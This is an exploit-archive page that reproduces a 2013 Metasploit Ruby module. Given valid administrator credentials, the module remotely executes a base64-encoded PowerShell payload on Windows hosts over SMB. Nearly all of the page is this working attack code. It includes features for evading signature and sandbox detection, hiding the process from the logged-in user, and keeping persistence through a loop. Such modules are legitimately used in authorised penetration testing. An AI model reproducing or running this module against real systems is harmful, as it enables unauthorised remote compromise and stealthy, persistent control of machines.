Microsoft Windows Authenticated Powershell Command Execution

2013.07.13
Credit: RageLtMan
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Psexec include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Authenticated Powershell Command Execution', 'Description' => %q{ This module uses a valid administrator username and password to execute a powershell payload using a similar technique to the "psexec" utility provided by SysInternals. The payload is encoded in base64 and executed from the commandline using the -encodedcommand flag. Using this method, the payload is never written to disk, and given that each payload is unique, is less prone to signature based detection. Since executing shellcode in .NET requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided to execute the payload in a while loop in order to maintain a form of persistence. In the event of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection. In order to avoid interactive process notifications for the current user, the psh payload has been reduced in size and wrapped in a powershell invocation which hides the process entirely. }, 'Author' => [ 'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module 'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders ], 'License' => MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10, 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 8192, 'DisableNops' => true, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1999', 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'], [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ], [ 'URL', 'http://sourceforge.net/projects/smbexec/' ], [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] ] )) end def exploit command = cmd_psh_payload(payload.encoded) if datastore['PERSIST'] and not datastore['DisablePayloadHandler'] print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.") end if datastore['RUN_WOW64'] and target_arch.first == "x86_64" fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled") end # Try and authenticate with given credentials if connect begin smb_login rescue StandardError => autherror disconnect fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") end # Execute the powershell command print_status("#{peer} - Executing the payload...") begin return psexec(command) rescue StandardError => exec_command_error disconnect fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") end end end def peer return "#{rhost}:#{rport}" end end

References:

http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top